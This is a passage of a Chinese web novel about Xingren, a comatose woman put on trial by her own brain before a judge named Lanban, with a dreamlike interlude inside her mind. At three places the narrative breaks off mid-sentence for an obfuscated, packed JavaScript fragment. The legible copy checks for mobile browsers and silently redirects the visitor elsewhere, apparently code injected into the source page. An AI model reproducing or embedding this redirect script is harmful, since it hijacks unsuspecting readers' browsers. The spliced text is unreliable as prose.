比如她吃掉的食物只是商店最常见的胶囊食品,很多人都在吃那种东西,那些人也都安然无恙。至于食品里的成分,她既不是食品供养商又不是化学家,她并不清楚里面存在伤脑的成分。 比如晚睡也不是她自己愿意的,太多突发的事项、太多要做的事情、太多的工作、太多信息还有太多的压力,它们全部堆积在她的脑子里,每一个都如同小蛇,喷洒着太多毒液一般的情绪。 比如她脑子里那永不休止的噪声,总是惹她恼怒,她不知道那噪声是什么时候入驻她的大脑,也不知道什么时候心中便无法安静,但是她敢保证,任何人在那永无休止的噪声干扰中都无法保持平静。 …… 她知道站在原告台上的那颗大脑正在谴责她,将它自己所有的遭遇都归结于她。 但是,这真的完全是她的错吗? 仔细想来,这个世界上伤脑的事情也太多了。 她这一叶扁舟自然也只能被“伤脑”的洪潮席卷,在风浪中无法脱身。 并不是她要为自己开脱,但她真的得为自己说一句,她只是一个小人物,只是一个五等公民,环境的力量太过强大,完全强过她的自由意志,很多时候,她真的是身不由己。 将伤脑的罪责全部归结于她实在太不公平。 “或者是杏仁。” 蓝斑说完了刚刚没说完的话。 “杏仁呢?”他再次重复。 所有的思绪都骤然静止,杏仁心头一颤。 这是本场审判开始后,她第一次被蓝斑点到名字。 很古怪的感觉。 在被叫到名字之前,她好像被塑料膜包裹保护,她如同观众一般隔着塑料膜观赏这场审判,心里总有一种荒诞的不真实感。 可现在,她的名字像一根针。 塑料膜被猛地一下刺开。 宛若新生的皮肤第一次接触空气。 她感到皮肤在发痒,顿时手不知道怎么放,脚也不知道怎么摆——虽然她好像也控制不了自己的手跟脚…… “作为本场审判的被告,你有任何异议吗?” 异议? 杏仁一怔。 当然。 她当然有异议。 所有人都在指责她,并没有人站在她身边,她当然要为自己辩护。 更何况这里是审判庭,又不是那颗脑子的一言堂,怎么能只听那个脑子一个家伙的话。 杏仁想要睁开眼睛,她应当张开眼睛的。 但什么甜腥地东西从她的鼻腔、从她的眼睛里渗进来了。 好像粘腻的糖浆将她封裹。 她被糖浆逐渐的吞噬,往下陷、下陷。 她……得要说点什么…… 她……当然……也得发言…… 好沉啊…… …… “杏仁?杏仁?你有话要说吗?” 我…… 她听见审判长又在呼唤她的姓名。 “滴!滴!滴滴滴!” 什么红色的不详之光穿过一片黑幕映入她的眼眶,耳畔是刺耳的机器报警声,她的心脏在狂跳,她却感觉无比疲惫。 为什么这么累。 为什么动不了。 时间好像凝固掉了,她遁入一片混沌。 到最终,她好像只听见蓝斑有些失望的声音:“杏仁没有提出异议。” 是法槌砸下的声音。 “砰。” 很清脆的声音。 蓝斑审判长又恢复了之前那平静的声线:“那么请原告【杏仁的大脑】继续对后两个问题证言并提出证据。” “好的。” …… “对于审判长蓝斑提出的第二个问题,我是否会因此事迈向死亡——”仅仅是复述这个问题好像就已经足够让那颗大脑郁闷,以至于过了片刻,它才闷闷地回答道:“我的答案是——‘是的’。” “我会因此事而迈向死亡,而且这是‘必然’的事情。” 脑子飞快地说:“具体为什么就先让我再次邀请我的证人——【大脑专家】,由他从医学的角度做出解释。” “好的。” 审判长肯首后,一阵脚步声传来,这是一阵很重的脚步声。 是那个被称作【大脑专家】的家伙走上台。 低沉的嗓音传来,听起来有些丧丧的。 “尊敬的审判长,我是原告【杏仁的大脑】的证人团成员【大脑专家】,我精通所有大脑的知识,这是我的证书和资质报告,请您审阅。” “好的。” “总而言之,以我对【杏仁的大脑】身体状况、【杏仁】所在世界的科技水平与【杏仁】所处医院医疗水平这三项数据进行测算,杏仁现在只是被呼吸机勉强维持生命,如果不是奇迹发生,她将迈向死亡。” “没有任何救治的可能吗?”蓝斑审判长再次确认。 “没有。” “好的,我知道了……”蓝斑审阅完他的证件,将他的证件递还给他,“你的证件没有问题。” 一阵脚步声越来越远,【大脑专家】回到了座位。 蓝斑委婉地对脑子说:“虽然……你的这位证人非常的笃定,证件也很齐全。但刚才那番话也只是他一个人的诊断结果,审判庭还是需要更加全面的证据。” “没有关系。”大脑答应得很快,“我还有更多的证人可以为我提供证词。” 紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“50%的世界里,杏仁于一周之后无法交上医药费而去世,30%的世界里,杏仁于一个月左右忽然停止呼吸,其余的世界杏仁存活的世界更长一些,但结果无一例外是死亡。” “……” 蓝斑:“虽然不愿意承认……但你的证词确实比之前的证人更可靠。” “我是【量子力学计算大师】,我刚刚已经使用高精尖的量子计算手段对杏仁与其大脑的死亡率进行计算,经过我精密的计算,杏仁与其大脑的死亡几率高于99.99%.” 蓝斑:“那剩余的0.01%呢?” “嗷,那是为了精密度,防止意外情况出现砸我的招牌,其实私下偷偷说一句,我个人是认为100%的。” 蓝斑:“……其实刚刚【平行时空】的证词就已经足够了,我没有叫你,你不用上来的。” “审判长,我还有一些……”脑子还想要呼唤其他的证人。 却被蓝斑忽然放大的声音制止:“够了。你已经找寻了足够多的证人。” 他察觉到自己的失态,咳嗽两声:“杏仁的大脑,刚刚的所有证言,和相关证人证件的复印件我都已经提交给《所有法》了,我们一致认为,他们刚刚的那些证词已经从科学方面……甚至玄学方面都证明了——你即将迈入死亡。” “其次……”蓝斑最终还是没有忍住:“你真的为证明你的死亡找了不少证人呢。” “当然了。”一直很激动的脑子现在却十分平淡,“这是我最关心的问题嘛。” 大脑的声音罕见的宁静,却让刚从粘腻混沌中挣脱的杏仁再次坠入寒冷的冰川。 它只是很平静地说:“因为我是一颗活泼好动的脑子嘛,平生最关心也是最害怕的事情就是一动不能动,之前还很害怕被关进小盒子里埋到地下-0.5米的位置。” “但我刚刚想通了!”大脑好像又乐观起来,“墓地是很昂贵的,杏仁估计买不起。” “所以将来我说不定有机会以分散的尘埃的形式随风飘到各地去旅行。” “等我旅行完,缓解了杏仁这位雇主带给我的精神伤害之后,再去脑子的就业市场,应聘成为下一位雇主的脑子也挺好。” 5. 朋友 听那颗脑子这样说,蓝斑审判长很是讶异:“你真的很乐观呢。” “是吗?” “是呀,”蓝斑一边整理桌子上的资料提交给《所有法》,一边说,“一般情况下,人很少能以这样的心态去面对自己的死亡。” “这样吗。”脑子却有些理所当然,“我是杏仁的脑子嘛,乐观是我的天性,以前那么多大风大浪、难熬的事情都经历过来了,现在只不过是要死了,其实想想也还好……” “诶呀!说到这儿,我忽然想起来了!”脑子拍了一下自己,“因为它太不显眼,所以我差点忘记了,我还请特意了这个小巧的证人可以为第二个问题提供证词,它也是我的好伙伴——【未来杏仁大脑燃烧后的一粒尘埃】。” 【一粒尘埃】:“是的,蓝斑审判长,我能证明,杏仁烧成灰后我游历了很多地方,后来我出国了……” “够了!” 蓝斑审判长终于忍无可忍,他极力压抑着情绪:“抱歉,即使这是《所有法》旗下,审判世界上所有东西的审判庭,我也很少在一场审判里看见这么多奇怪的——”他想了半天才崩出一个恰当的词语,“——牛鬼蛇神。” “这对审判长来说也是一个挑战。”他再次控制情绪,补充解释道。 最后他做了好几个深呼吸:“还是让我们安静一会儿,等待《所有法》给出它的结果吧。” * 安静? 审判庭是安静下来了,杏仁可安静不了。 她的心脏在“咚咚咚”狂跳,每一下都掷地有声。 “滴滴滴!”的机器声还在狂响,但好像距离她越来越远。 她所有的注意力都被心脏冒出的愤怒“火花”所控制,心跳如同泵一样,不断地加压,激得愤怒的血液节节攀升,每次攀升都是对血管压迫与灼烧。 凭什么? 凭什么在这个时候让她死去。 生命踏入最窘迫的低谷,身体和心灵都饱受磋磨——虽然她的人生低谷很多,但没有哪次和这次一样,令她天天在厕所抱头痛哭。 那颗脑子竟然还在大言不惭说什么?竟然说什么乐观,说什么“只不过是要死掉了,现在想想也还好?” 怎么会还好! 她要做的事情一点都没做完。 未来的愿景也一点都没有实现。 现在让她死去不就是告诉她,她之前所有的担忧都是真的吗? 不就是在告诉她,她就算再挣扎,也熬不到幸福快乐的那天吗? 不就是在告诉她——她的人生是个彻头彻尾的悲剧吗? …… “《所有法》的结论出来了。”经过漫长的深呼吸,蓝斑审判长已经重新调整好了情绪。 “和我所意料的一样,《所有法》根据现有的证据和证词已经判定,第二个问题——‘原告杏仁的大脑是否会因为此事踏入死亡,答案是:是。’” “关于这个结论还有人有异议吗?” “在座的各位证人团成员,以及杏仁?” 我有异议! 杏仁在心中无声怒吼,她疯狂地想要挣脱沉重的身体。 要睁开眼睛、张开嘴巴和这颗脑子分辨分辨。 反正她马上就要死掉了,管他什么审判庭,什么法律。 她已经忍耐良久,以前她的忍耐是为了更加光明的未来。 可是事实证明,她的人生是忍耐——忍耐——忍耐——戛然而止。 所谓“光明的未来”、所谓“心中的愿景”、所谓“更好的生活”,都如同梦幻泡影一般烟消云散。 就到最后了,她都要死掉了,竟然现在还有一个脑子,而且还是她自己的脑子将她告上审判庭! 还请了一群奇怪的证人——这群人全都站在脑子那边谴责她,没一个站她这边。 所以忍耐还有什么用处,反正她都要死掉了,就算赢了这场判决,难道能够令她起死回生? 与其再一次、又一次抱有这样不切实际的幻想,还不如让她将自己的这么多年的委屈与愤怒在这审判庭上倾泻而出,这次要想说什么就说什么。 想怪罪谁就怪罪谁。 说她胡搅蛮缠也好,说她胡说八道也罢。 都无所谓。 也都不重要。 她都要死了,还考虑那么多干什么。 难道还要让她含“愤”而终吗? 杏仁绷紧眉头,眼皮在拼命地挣扎。 心中的怒火冲上头顶,却又像绽放的烟花一般骤然消散。 紧接着是一种深深的无力与空虚。 她…… 不,她不能放弃,还差得远呢。 她听见脑子冷静的声音:“蓝斑审判长,等法槌落下后,我申请休庭几分钟,我的身体里又有几根血管出血了,我得去处理一下。” 血管又破碎了吗? 远处被忽略的“滴滴滴”的警报声再次刺耳起来。 她应该停下……脑子出血了…… 她应该……不! 这次她绝不停下。 快醒来,她要醒来。 她一定要…… 醒来…… “看来大家没有人有异议。” 蓝斑再次落下法槌。 法槌落下,发出清脆的“咚!”的声音,却被一声不协调的声音打断。 “我有异议!” 好像刚刚从噩梦中脱身,杏仁终于“唰”一下子站起来。 她还没有来得及睁开眼睛,没有适应周围的强光,就先张开嘴噼里啪啦地说——“你们怎么能够只听那颗脑子的一面之词,将所有的罪责都责怪到我身上。” “拜托动用你们自己的脑子想一想,这是我的脑子,伤害它对我有什么好处。难道我的脑子死掉了,我还能活着?” “还有那颗脑子!你也好好想一想,你说的那些熬夜、情绪、食物……那一切是我能决定的吗?!” “在这件事上我也是受害者吧,难道我不害怕死亡吗?”说到这她有些哽咽,可却立刻被控制住。 她很轻地冷笑一声:“实话说,这个世界上也有太多事情伤脑了,你不把它们一一告上法庭,你揪着我这个快要死去的受害者告什么呢?” “因为我好欺负吗?” 她忽然停下,长长地吸了一口气,她攥紧拳头,用尽全身的力气,好像如果不这样做,她就要哭出来了。 法庭鸦雀无声,让人感觉间隔了很久。 实际上却只是间隔着一声漫长的叹息。 她的声音很疲倦:“我真没想到,到最后,就连你也要欺负我。” 说完这一切后,她才缓缓地张开眼睛。 各种光线、各种色块纷纷冲入眼底,她茫然地眨巴眨巴眼睛,没等到脑子的回复,就一下子晕倒了。 脑子好像说了些什么,却被卷土重来的“滴滴”声掩盖。 刺耳的声音在她耳膜里嗡鸣。 紧接着“快点!”“又出血了!”“心率过快!”“开展急救! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794193|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的声音传来。 这声音好像距离她很近,但又远得好像另一个世界传来的一般。 好像是医院的声音。 直到这时,杏仁才后知后觉—— 原来她已经和医院不在“一个世界”了吗? 她要死去了。 所有的情绪如同潮水一般散去。 在黑暗中,她意识慢慢淡去,她将要死去了…… …… 杏仁推开了门,这是一个粉红的半圆房间,她轻飘飘地,好像一朵云,在粉红的空间四处漂浮游荡。 这里令她很熟悉,但她并没来过这里。 事实上,对于她是谁,从哪里来,为什么来这里,她好像有一个答案。 但她懒得想。 因为她现在实在是太快乐了。 一股无法抑制的巨大喜悦如同喷涌的泉水,源源不断、永不停歇地在她心里奔涌。 现在的她,宛若小蝴蝶,肆意地在这个房间里探险,这里看看,那里瞅瞅。 过去与未来她都懒得去想,只是聚焦于当下本身。 实在是惬意地不得了。 “你第一次来这里,就让我为你介绍一下吧。” 一个很亲切地声音传来。 她四处寻找,并没有看见人影,只能听见声音。 这声音很熟悉,她想:好像在哪里听过这个声音。 但她并不记得了。 不记得就不记得了。 她甩了甩头,将一切思绪都抛到脑外。 她没有想要回忆起对方的意思。 只是很单纯地、迅速地将这个声音当成了朋友,并为认识了新的朋友而开心。 “好呀。” 她笑了。 这是一个完全由粉红色墙壁拼接而成的粉红色房间,地板和墙壁是同一个材质的,不知道是怎样制作而成的。 踩在脚底下的地板,伸出手触摸到的墙壁,都是柔软而富有弹性的。 “将地面当做蹦床玩也不会受伤。”朋友说。 杏仁蹦跶了两下。 果然和朋友所说的一样。 整个房间里最辉煌的物体,就是镶嵌在对面的一尊巨大的金色大钟。 繁复的花纹刻印在上面,垂下来的金色摆针正在“滴滴滴哒哒哒”时而快时而慢地摆动。 “那钟几乎有三分之二房间高了,很豪华吧。” “嗯,那是什么?”杏仁完全被吸引。 “那是生物钟,以前很准时的,近些年不太准了。” “要是你需要定时早起的话,千万不要依赖它。” 杏仁一边惊奇,一边记下朋友的忠告。 “我们现在所在的位置是整个房间的最高点,”朋友继续介绍,“有一条螺旋形的楼梯,从底部像螺丝一样,扭着延伸上来。” “而我们就在楼梯的终点。” “你看,你刚刚就是从那个门走进来的。” 在朋友的示意下,她回头看向最终点的大门——是一扇方方正正的绿色的门。 杏仁很喜欢方形,所以一看见那扇门就心生好感。 “这里的门太多了,顺着楼梯下去,每隔一小段距离就有一扇门,好像有数不尽的门一般。” 朋友说:“那个门从未有人推开进来,也没想到会有人使用它。” “它的使用率太低了,存在感低到几乎要被忘记,所以才被放到阶梯的终点。” “而你是第一个推门进来的。” 6. 审判庭 “这些门都是通向哪里的?” 杏仁好奇地左看右看。 她跟随着朋友的指引,沿着螺旋的阶梯,一步一步走下去。 果然和朋友所说的一样,墙壁上真的悬挂着好多好多门。 高矮不一、形状各异,颜色也不同,这里简直宛若门的收藏馆。 有小得好像专门为老鼠开的门。 “有的访客长得就是很小,喜欢走小门。” 有大到要顶到上层阶梯底部的门。 “当然也有健壮的访客。” 有的门“滋啦滋啦”,从门缝里钻出一闪一闪的红光和滋啦滋啦的电流声。 “这扇门里面的人正在工作。” “它们要赶时间筹备一项很重要的事情,我们还是不要打扰它们。” 这门旁边就是卷帘门,像仓库一样,里面大约装着很多东西。 “这是储藏你所有记忆的记忆仓库。” “还是不要进去干扰那些辛勤工作的神经元比较好。” 杏仁很认真地收回想打开门的手。 工作是很重要的,打扰别人工作确实不好。 朋友说:“这里虽然有很多很多的门,但实际上划分起来也很简便,只有两种。” “一种是通往外面的世界的门,不同的访客可以通过这些门进来。” “另一些只是不同的功能区,是区别于这个大厅的不同房间。” 杏仁将朋友的话一点一点记在心间。 “这个阶梯很长吧。会不会有些无聊。”朋友又关切地问。 “完全不会。”杏仁正沉浸在朋友的话里。 心中喜悦的泉水仍旧不停息地奔涌着。 “我是说,这里也太有意思了。” 她亮闪闪地,好像在发着光。 杏仁的反应令朋友轻声地笑了:“不无聊就好。” “不过,即使感到无聊也没有关系,咱们很快就到了。只再围着阶梯绕最后一圈,就可以到达大厅了。——话说回来大厅最近发生了一件新鲜有趣的事。” 很显然,这个粉红房间里发生的一切事情,朋友都了如指掌。 “是一场审判。” “审判?” “是啊。” “审判庭上来了很多很多的人,各式各样的人,”朋友是这样介绍的,“总之热闹极了。” “各种证人被请进来。就从刚才你所看见的那些门走进来。” “请到这些证人的是一个叫做脑子的家伙,它为了让这里热闹起来,简直是呕心沥血、煞费苦心。” “这是很艰难的事情,是很值得尊敬的事情,所以你见到它可要对它好一点。” 杏仁无不应允,并且越来越期待见到这位脑子朋友。 话说着,就到达了一楼的厅堂。 在楼梯的底部,放着一个邮箱和一个巨大的树枝编织筐。 邮箱就是普通的绿皮款式,很常见。 但编织筐里面的东西,杏仁从未见过。 她奔上去,这里瞧瞧,那里看看。 朋友也没有阻止她,只等她起身,将脑袋从编织筐里掏出来,问道:“筐子里是装什么?” “那个呀。”朋友才说:“你看过电影吗,一些有特效的电影,会在入场之前为观众发放眼镜,以便于他们能够看见特效。” “来到我们这里的客人,总是稀奇古怪的,比如这次来的几个,有个叫做【高清相机】的,它就没有胳膊、腿……之类的四肢和五官。” “所以,为了它能够和其他的证人一样,更好的参与审判庭、更好的提供证词,脑子特意用【内耗】赞助的一部分经费,买了这些胳膊、腿还有眼睛、嘴什么的。” “让它像‘看电影戴眼镜’一样穿戴上,就可以和其他人一样参与审判了。” 杏仁凑近去看,果然是一些黑色线段勾勒的、卡通画似的胳膊、腿。 还有用圆溜溜的大眼睛,和线条嘴巴。 穿戴上大概就和电影里的卡通角色似的。 “哈哈哈,”朋友笑道,“这种比较省钱嘛,话说脑子那家伙也穿戴的这种胳膊腿哦。” 杏仁一听到那位深受朋友赞誉的脑子朋友也穿戴这些,立刻也想要从里面掏出一套来穿到自己身上。 却被朋友制止:“杏仁不用穿哦,你有属于自己的五官和四肢。” “啊?”杏仁眨巴眨巴眼睛,“可是我想穿。” “而且谁说我有那些东西,我才没有呢!” “你有的。” “不,我没有。”在这件事上杏仁很执拗,她望着远处,双手在身边扑棱几下,“我只有一双翅膀,可以像云一样自由自在的飞翔。” “所以,我得穿。”她从筐里快速找出来的一整套线条卡通器官,往怀里一护。 然后很执着的向朋友发出声音的位置看去。 直到对方叹了口气,妥协道:“好吧好吧,穿上吧。” 她才乐呵呵地将它们安到自己身上——虽然胳膊和腿好像安装反了,眼睛和嘴的位置也弄得乱七八糟。 管它呢,杏仁不在意,也懒得思考。 她在意的是——终于穿上了和脑子朋友一样的卡通器官。 这可令她快活极了。 于是她便快活地跟着朋友的指示来到了大厅,地面是粉红色的,映入眼帘的最显眼的便是一座高高的很多杂物堆积而成的山。 这座小山实在高耸,直接从地面往上拔高,直到顶到天花板。 事实上,杏仁从门出来时就看见这座山了,但是在最上面因为有栏杆的遮挡,所以看不出什么,直到她沿着阶梯从上面到达地面,眼前逐渐开阔起来,才意识到这座山峰是多么壮阔。 “大家都称呼它为垃圾山。”朋友的声音从背后传来,“只是一些杂物堆砌而成的山。” “垃圾吗?”杏仁自语,“可这儿明明有很多好玩的东西。” 她走近,随意捡起一件“山脚”的东西。 刚拿到手里,一股熟悉的既视感便席卷而来。 很怀念,却令人感到悲伤。 杏仁一怔,为什么? 为什么会有这样酸涩的感受。 周围的场景好像动了一下,灯光快速闪动。 她有一些迷惘,心中空落落的。 幸好心中的快乐泉水源源不断,又迅速地涌上来。 将那一瞬间的空缺迅速填满。 她很快就遗忘了那一瞬间的悲伤,又全心全意地投入到当下去了。 更何况朋友的呼唤也帮她摆脱那些思绪:“杏仁,快来,这里有一条沙发,走累了不如在这里歇一下吧。” 杏仁便将刚刚拿到手上的杂物重新撂回垃圾山。 跑去和朋友坐沙发了。 沙发上随意散落着很多写满了字迹的纸张,好像一叠厚厚的纸坐垫。 杏仁觉得这坐垫怪有创意,于是屁颠屁颠愉快地坐上面了。 虽然看不见朋友,但她能感觉到,朋友就坐在她的身边。 朋友说:“在这里呆得愉快吗?” 杏仁猛点头:“嗯,这里超好玩,有好多东西,我能在这里呆一辈子。” “那就好。”朋友呵呵地笑,“这个房间哪里都好,只是没有床,等到晚上你困了,就在咱们坐的这个旧沙发上睡觉,也挺美的。” “只是有一点。”朋友话音一转,声音拉长,“绝对不要接近地下室。” “地下室?” “对,地下室。”朋友说,“那里面关押着恐怖的恶魔,它会把这里弄成一场灾难。” “恶魔?你见过恶魔?它是什么样的?”杏仁忙兴奋地问朋友。 “当然。”朋友应承地很快,描述地却很笼统,“反正就是冒着黑影,发着噪音和恐怖的不详气息的家伙。” “是一个很闹腾的家伙。” 朋友告诫道:“将它关在地下室对谁都好。” “好吧。”杏仁打了一个寒战。 “那地下室在哪?” 朋友嘿嘿一笑:“在哪我就不告诉你了,我还不了解你。侦探小说看多了,要是你知道了一定迫不及待打开地下室的大门。” “我才不会。” 朋友对她那么好。不光给她介绍了很多好玩的事,还将这个房间里的一切都讲给她听。 所以她也超相信朋友,将对方的话当做金科玉律。 朋友不让她干的事情,她才不会做呢。 “好啦,咱们还是别聊恶魔了,去干点别的有趣的事情,咱们去看审判吧。” “好!” …… 审判发生在大厅的中央,一只巨大的蓝色大象滑梯背对着他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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脑子是粉嘟嘟的,颜色和墙壁一模一样。 想来摸起来也是弹性而柔软的。 终于见到脑子的真容了。 杏仁高兴地想要呼唤它。 可她却看见脑子朋友,正对着对面站着的人喋喋不休的说着什么。 估计在工作吧,还是不要打扰对方比较好。 于是她又向对面看去,想看看脑子对话的人是谁。 可那人却实在有些模糊。 她看不清楚。 “看不清就凑近点去看吧。”朋友凑到她耳边说。 “可以吗?”她却罕见地有了点分寸感。 “当然,那有什么不可以的。”朋友督促着她,还特意嘱咐她,一定要凑得近近的才能看得清楚。 杏仁有些疑惑,因为朋友并没有跟上来。只是让她自己上去看。 但杏仁全心全意地信赖朋友。所以朋友一发话,她就立刻照做。 立刻托着和云朵一样轻盈的身体,屁颠屁颠地跑到台上,凑到人家被告的脸前去打量对方。 她站在台上,脑子说话的声音好像停顿了片刻。 打扰对方了吗? 她放缓了脚步,可朋友却继续督促道:“再凑近一点,没关系的。” “他们不会在意的。” 刚刚放缓的脚步又恢复原来的速度。 她逐渐凑近,可无论怎么靠的多近都看不清对方的脸。 她都有些着急了,不停地去揉自己的卡通眼睛。 直到现在她才考虑是不是眼睛安错地方了,才看不清人。 可朋友又不断地鼓励她:“再靠近一点。” “没错,再靠近一点……” 于是她就不断凑近,不断凑近,直到脸即将贴到被告脸上。 那面庞终于慢慢浮现出来。 “看清楚了吗?”朋友问。 杏仁心中一震,宛若山崩地裂。 她下意识往后退。 想要呼唤朋友,却一下子被吸入那个人身体里。 那些刚刚从筐子里掏出来的胳膊啊、腿啊什么的洒落了一地。 在地上静静地躺着。 欢乐的泉眼好像被堵上了。 那种只活在当下,什么都不用想的幸福之感也将她推远、抛弃。 而所有的烦恼、痛苦、疑惑、对过去的懊悔、对未来的期待,这些东西好像毛线一样,一丝一缕编织成了她的身体。 这具身体沉闷、笨重、站在地上,绝不会像云朵一样飘起来。 而现在,她又如同穿衣服一样,将这具身体,和编织它的一切,重新穿到了她的身上。 7. 脑子也有心吗? 蓝斑举起法槌,正要落下。 他反复思忖,以确保自己没有做出错误的决定。 本场审判关乎两个人。 原告:杏仁的大脑,它主张自己被杏仁杀害。 被告:杏仁,则被控告是本场案件的凶手。 为了做出正确的判决。 他聚焦于本案的重点,提出了三个关键问题。 只要这三个关键问题得到证明,那么案件的结论便自然浮现。 蓝斑经历过很多的审判庭。在一般的审判庭里,对于关键问题的论证总是一再翻转,审判台上的双方要经过激烈论证、相互博弈……甚至还要胡搅蛮缠、破口大骂—— 说实话,他真的很不擅长处理那种混乱的场面。 总而言之,要逃脱很多误导,捋清很多逻辑,关键问题的答案才能一一浮现。 可是本场审判,虽然证人又多又奇怪,让他有些承受不住,但不得不说——关键问题的论证可谓是水到渠成、无比顺利。 从法庭开始到法庭即将结束,那个叫做杏仁的被告都安静无比,无论原告对她做出怎样的控告,她都无动于衷。 除了审判中途忽然暴怒地说了一段,“……这是我的脑子,伤害它对我有什么好处,难道我的脑子死掉了,我还能活着……”之类的证言。 ——这一整场审判,她唯一提供的东西就是这段证言。 这段小小的证言确实为原告【杏仁的大脑】在论证第三个关键问题时撂下了个小障碍。 但这小障碍很快就被脑子请来的庞大证人团给击垮,他脑中现在还回响着那名证人的声音—— “伤害自己的大脑这件事对被告有什么好处——我们也百思不得其解。” “不过,这件事得询问杏仁自己吧。让受害人不断猜测凶手的想法是否太过残忍。” “我觉得我们还是要以事实为依据,无论怎么说,大脑因为她而死去是事实。” 那人手搭在椅子的扶手,翘起脚尖歪着头对他笑:“我们何必忽视这显而易见的客观事实,反而去寻求那虚无缥缈的动机呢?” 这证词从逻辑上讲非常有利,轻描淡写地便将杏仁提供的唯一证词击溃。 而即使证词被击溃,被告杏仁也没有提出任何异议。 她始终一言不发。 蓝斑又扫了一眼那站在被告台上的女孩。 绿色的头发服帖地贴在额头,为这个粉红到视觉疲劳的房间增添了一丝清凉。 她安静地宛若睡着,即使决定她命运的法槌即将“咚”的一声落下,也丝毫不在意。 这种消极的应诉态度可不利于庭审。 蓝斑微微摇头。 总而言之,就在杏仁“闭目养神”的途中,关于第三个问题——杏仁与大脑的关系是否足够将杏仁以“杀人罪”惩处。 脑子已经完成了证明—— “审判长大人,就算我不是一个活生生的站在杏仁面前的人类,难道我就应当被伤害吗?” “不会说话,不会呼痛难道是我的过错吗?” “更何况我应该比您所说的那些双脚站在地面上、能够和她面对面交流的人对她更好吧。” …… “就说最简单的。她能够呼吸,依靠我的工作;她能够说话,可以表达自己,也依赖于我的工作;她能够哭能够笑,能够有各种情绪,更是依赖于我辛苦的工作……甚至连她的工作——也依赖于我的工作。” 脑子跳下来指给他看:“你看那边那个废旧的沙发,上面尽是一些杏仁创造的稿件,要提交给公司的。你看那么厚一层,就知道我为她的工作做了多少工作,加了多少班。” “那她的工作内容都包括?”他当时这样问。 “她的工作?” “她实在做过太多工作……很难一一列举。” “嗯……就说最近的,她最近就职于一个叫做【情感研究有限公司】的地方——那地方名字听起来很高大上,实际上就是创造一些情感类游戏,满足人们隐秘的情感需求,而杏仁是里面的一个很小很小很小的设计师。” “她最近参与的那个项目叫《理与情:心跳的审判》,而她最近主要在做女主角【寻真】的人设创作,这是极其需要灵感的创作活动,那些灵感也是由于我辛勤付出才产生的。” “这个项目的资料都在这里,包括女主角寻真我也请来了,她可以为我作证,房间里还有这么多手稿,杏仁的记忆里还有创造这一切时的记忆,这些东西都可以作为证据。” …… “‘至于您提出的杏仁为我提供头盖骨作为住所,为我提供饭菜和能量供我生存’就这一点,我必须要说,这都是理所应当的。” “杏仁还可以睡觉休息,而我可是24小时不间断的工作的,她睡着了,我还得处理白天的记忆和堆积的情绪,还有残留在大脑的有毒垃圾。” “我还要为她提供梦境,就连现在,她即将要死去了,我也坚持工作着,我还得——总而言之,又不给工资,再连食物和住所都不提供的话,就也太混账了吧。” “更别提她给我提供的食物还有一大堆都是有毒的食物。” “我还没控告她蓄意投毒呢!” …… 最后脑子甩下证据,做出总结: “就算我不像一个站在她对面的人类那样活生生的、会自己赚钱、能够独立生活;就算在某种意义上讲,我依赖她而活,我也不该遭受这样残酷的对待。” “这是证人,这里还有丰厚的证据,蓝斑审判长,请您尽快对第三个问题作出决断。” …… 思绪回到现在。 杏仁没有提出异议,脑子的证言确实也说动了他,同时也说服了《所有法》。 事实上,前两个问题已经足够判定这场审判的性质,第三个问题只是定量。 如果论证杏仁与脑子的关系使得杏仁伤害脑子情有可原,则根据《所有法》的法条则判定杏仁(20—30年)植物人刑罚。 如果判定脑子实在劳苦功高,使得杏仁伤害它的行为实在是无法原谅,则判定杏仁死刑。 可是他刚刚提出的第二个问题已经论证了杏仁即将要死去。 既然如此,无论是判处几十年植物人刑罚,还是判处死刑,对被告杏仁都没有什么实质上的影响——当然,对于一个审判长来讲,这种想法很不应该的。 但从实际上讲,确实是这样的。 想到这儿,蓝斑放松了点。 该判决了,众人的目光都盯着他呢。 于是,和之前他参与的无数次判决一样。 众人的目光聚焦在时光放缓之地。 大象鼻子卷着法槌缓缓下落。 “我宣布,本场审判的判决是:杏仁杀人的罪行属——” “等等!” 法槌即将碰上桌面时,杏仁一下子惊醒了。 * “我还没有发出任何声音,就做出最终的判决,这公平吗?” 法槌骤然停住,全场的目光聚焦在她身上。 这个几乎沉默了一整场的被告终于说话了。 杏仁从不知道什么地方惊醒,事实上,她现在还是惊魂未定。 她感觉她的思考能力尚未在线,就好像灵魂并没有契合身体。 刚才说出的那句话,只是自救的本能罢了。 这是她第一次站在被告台上,去看这个地方,去看脑子,去看审判长,去看坐在台下的那群“牛鬼蛇神”。 这个地方令她很熟悉,粉红的房间,一群稀奇古怪的人,一堆砌在墙上的门,还有那堆在一堆的垃圾山——那些杂乱的无用之物让她心烦意乱…… 总之,她好像已经来过这里似的。 她回想半天,只觉得大概是在梦里来过这里吧。 但是是在什么时候做的梦呢?梦里她好像还碰到了谁? 那个人,那个声音,是谁呢? 杏仁努力回想,却始终无法触及。 因为她一触碰那记忆,就有一种被抛弃的悲伤将她弹开。 不过当下她也顾不上处理那些情绪了。 “被告杏仁,三个关键问题已经论证完成,我的法槌也将要敲下,是你自己选择了一言不发,你已经错失了辩驳的机会。” 蓝色的大象的嘴巴一张一合,它的声音很冷静,和沉睡时听见的一样。 “不,我没有。”杏仁反驳,“整场审判,我都无法发出声音,我一直处于一种混沌的昏迷状态。” “我并不是主动放弃了申辩的机会,而是被迫封住了嘴巴。” “可是你中途提供了证言。” “那只是我短暂地挣脱了被困住的状态,但说完那段话后我就又一次陷入了昏迷。” 